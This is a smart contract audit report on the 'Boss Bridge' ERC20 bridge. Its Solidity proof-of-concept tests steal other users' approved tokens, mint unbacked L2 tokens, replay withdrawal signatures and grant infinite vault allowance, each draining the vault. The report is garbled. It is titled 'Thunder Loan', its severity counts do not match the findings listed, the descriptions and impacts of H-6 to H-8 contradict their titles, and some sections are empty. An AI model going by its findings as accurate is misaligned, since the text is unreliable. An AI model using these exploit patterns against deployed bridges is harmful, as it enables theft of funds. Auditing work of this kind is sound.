Thunder Loan Initial Audit Report

Version 0.1

Cyfrin.io

January 21, 2024

Boss Bridge Audit Report

Duncan DuMond

January 21, 2024

Boss Bridge Audit Report

Prepared by: Duncan DuMond Lead Security Researcher: Duncan DuMond

- DuncanDuMond

Assisting Auditors:

- None

Table of contents

See table

About Duncan DuMond

A security researcher with a passion for blockchain security and learning the ins and outs of smart contract security from the best in the industry.

Disclaimer

The Duncan DuMond team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the “Boss Bridge Token” or “BBT”) from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	1
Info	0
Gas	0
Total	6

Findings

High

[H-1] `L1BossBridge::depositTokensToL2` allows anyone to deposit tokens to the L2 side of the bridge via a `from` address.

Description:

Consequently, an attacker can move tokens from any address to the L2 side of the bridge, and the owner of the tokens will not be able to withdraw them from the L1 side of the bridge. The tokens are moved to the `L1Vault` contract, and the `L1BossBridge` contract is not aware of the `from` address (setting an attacker-controlled address in the `l2Recipient` parameter).

Impact:

The tokens are moved into the bridge vault and will be assigned to the attacker's L2 address. The owner of the tokens will not be able to withdraw them from the L1 side of the bridge.

Proof of Concept:

Include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended Mitigation:

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
```

```
4           revert L1BossBridge__DepositLimitReached();
5       }
6   -   token.transferFrom(from, address(vault), amount);
7   +   token.transferFrom(msg.sender, address(vault), amount);
8
9       // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
10  -   emit Deposit(from, l2Recipient, amount);
11  +   emit Deposit(msg.sender, l2Recipient, amount);
12  }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description:

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Impact:

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Proof of Concept:

Include the following test in the `L1TokenBridge.t.sol` file:

```
1  function testCanTransferFromVaultToVault() public {
2      vm.startPrank(attacker);
3
4      // assume the vault already holds some tokens
5      uint256 vaultBalance = 500 ether;
6      deal(address(token), address(vault), vaultBalance);
7
8      // Can trigger the `Deposit` event self-transferring tokens in the
           vault
9      vm.expectEmit(address(tokenBridge));
10     emit Deposit(address(vault), address(vault), vaultBalance);
11     tokenBridge.depositTokensToL2(address(vault), address(vault),
           vaultBalance);
12
13     // Any number of times
14     vm.expectEmit(address(tokenBridge));
```

```
15      emit Deposit(address(vault), address(vault), vaultBalance);
16      tokenBridge.depositTokensToL2(address(vault), address(vault),
            vaultBalance);
17
18      vm.stopPrank();
19  }
```

Recommended Mitigation:

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description:

Any user who wants to withdraw tokens from the L2 side of the bridge must provide a signature from an operator. The signature is a hash of the following parameters:

1. Call the `sendToL1` function
2. Call the wrapper `withdrawTokensToL1` function

Impact:

The signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept:

Include the following test in the `L1TokenBridge.t.sol` file:

```
1  function testCanReplayWithdrawals() public {
2      // Assume the vault already holds some tokens
3      uint256 vaultInitialBalance = 1000e18;
4      uint256 attackerInitialBalance = 100e18;
5      deal(address(token), address(vault), vaultInitialBalance);
6      deal(address(token), address(attacker), attackerInitialBalance);
7
8      // An attacker deposits tokens to L2
9      vm.startPrank(attacker);
10     token.approve(address(tokenBridge), type(uint256).max);
11     tokenBridge.depositTokensToL2(attacker, attackerInL2,
           attackerInitialBalance);
12
13     // Operator signs withdrawal.
14     (uint8 v, bytes32 r, bytes32 s) =
```

```
15          _signMessage(_getTokenWithdrawalMessage(attacker,
                attackerInitialBalance), operator.key);
16
17      // The attacker can reuse the signature and drain the vault.
18      while (token.balanceOf(address(vault)) > 0) {
19          tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
                , v, r, s);
20      }
21      assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
            + vaultInitialBalance);
22      assertEq(token.balanceOf(address(vault)), 0);
23  }
```

Recommended Mitigation:

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description:

The `L1BossBridge::sendToL1` function allows users to call arbitrary functions on the `L1Vault` contract. This includes the `approveTo` function, which allows users to give themselves infinite allowance of vault funds.

Impact:

Any attacker can call the `L1BossBridge::sendToL1` function and call the `approveTo` function on the `L1Vault` contract, giving themselves infinite allowance of vault funds.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge".

Proof of Concept:

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
1  function testCanCallVaultApproveFromBridgeAndDrainVault() public {
2      uint256 vaultInitialBalance = 1000e18;
3      deal(address(token), address(vault), vaultInitialBalance);
4
5      // An attacker deposits tokens to L2. We do this under the
           assumption that the
```

```
6       // bridge operator needs to see a valid deposit tx to then allow us
            to request a withdrawal.
7       vm.startPrank(attacker);
8       vm.expectEmit(address(tokenBridge));
9       emit Deposit(address(attacker), address(0), 0);
10      tokenBridge.depositTokensToL2(attacker, address(0), 0);
11
12      // Under the assumption that the bridge operator doesn't validate
            bytes being signed
13      bytes memory message = abi.encode(
14          address(vault), // target
15          0, // value
16          abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
17      );
18      (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
            key);
19
20      tokenBridge.sendToL1(v, r, s, message);
21      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
22      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
23  }
```

Recommended Mitigation:

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

Description:

`TokenFactory::deployToken` uses the `CREATE` opcode to deploy new tokens. This opcode is not supported on the zksync era, which means that the bridge will not work on zksync. To guarantee that create/create2 functions operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance. This is not the case here, as the bytecode is generated at runtime.

Impact:

If `CREATE` fails, it will return a zero address, but the contract will still emit the TokenDeployed event and update the `s_tokenToAddress` mapping with a zero address, which can be misleading.

Malicious bytecode could be deployed, which could lead to security vulnerabilities, including reentrancy attacks, self-destruct mechanisms, or other malicious code within the deployed contracts.

Since the symbol to address mapping is public, there is a potential for front-running attacks where a malicious actor could watch the transaction pool for deployToken calls and interact with the newly deployed contract before the intended parties.

Recommended Mitigation:

Additional safeguards and validation checks should be considered to mitigate potential risks.

[H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

Description:

The `DEPOSIT_LIMIT` is a hardcoded value that could be reached, at which point no further deposits can be made. This could be a limitation if the bridge becomes popular. However, the check is done after the transfer, which means that an attacker could send tokens to the bridge, and then send tokens to the bridge again, causing the bridge to be unable to accept further deposits.

Impact:

The contract attempts to mitigate replay attacks by requiring signatures for withdrawals. However, it's crucial that the off-chain service managing these signatures properly invalidates them once used. Otherwise, an attacker could replay the signature and drain the vault.

Recommended Mitigation:

The protocol should be using a multisig wallet for ownership, implementing nonces for signature replay protection, and adding a `DEPOSIT_LIMIT` check before the transfer.

It's essential to ensure that the `contractBytecode` is safe and does not contain any malicious code. The `contractBytecode` is generated at runtime, which means that the compiler is not aware of the bytecode in advance. This could lead to security vulnerabilities, including reentrancy attacks, self-destruct mechanisms, or other malicious code within the deployed contracts.

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Description:

There is no event emitted for withdrawals, making it harder to track and verify withdrawal transactions on-chain.

Impact:

The contract does not implement any rate limiting for deposits or withdrawals, which could lead to abuse or unexpected spikes in volume that could affect the system's stability.

There are no checks on the amount being withdrawn, which could lead to large, unexpected liquidity drains if the signers' keys are compromised.

Recommended Mitigation:

Add event emission for withdrawals and implement rate limiting for deposits and withdrawals. Implement CEI on the amount being withdrawn.

[H-8] `TokenFactory::deployToken` locks tokens forever

Description:

The `deployToken` function does not specify a gas limit for the contract creation. If the contract bytecode is too large or complex, it could run out of gas and fail. This would result in the tokens being locked forever.

Impact:

There is no mechanism to verify that the contractBytecode corresponds to a valid ERC20 token contract. This could lead to the deployment of non-standard or non-functional tokens.

Recommended Mitigation:

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description:

While withdrawing, the `L1BossBridge::withdrawTokensToL1` function calls the `L1Vault::withdraw` function, which in turn calls the `L1Vault::transfer` function. The `transfer` function is prone to unbounded gas consumption due to return bombs.

Impact:

A malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation:

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Description:

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended Mitigation:

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

Description:

Impact:

Proof of Concept:

Recommended Mitigation:

[L-3] Unsupported opcode PUSH0

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/L1BossBridge.sol Line: 15

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

Informational

[I-1] Insufficient test coverage

```
1 Running tests...
2 | File                  | % Lines        | % Statements   | % Branches
      | % Funcs       |
3 | --------------------- | -------------- | -------------- |
    ------------- | ------------- |
4 | src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)
      | 83.33% (5/6)  |
5 | src/L1Vault.sol       | 0.00% (0/1)    | 0.00% (0/1)    | 100.00%
    (0/0) | 0.00% (0/1)   |
6 | src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00%
    (0/0) | 100.00% (2/2) |
7 | Total                 | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)
      | 77.78% (7/9)  |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.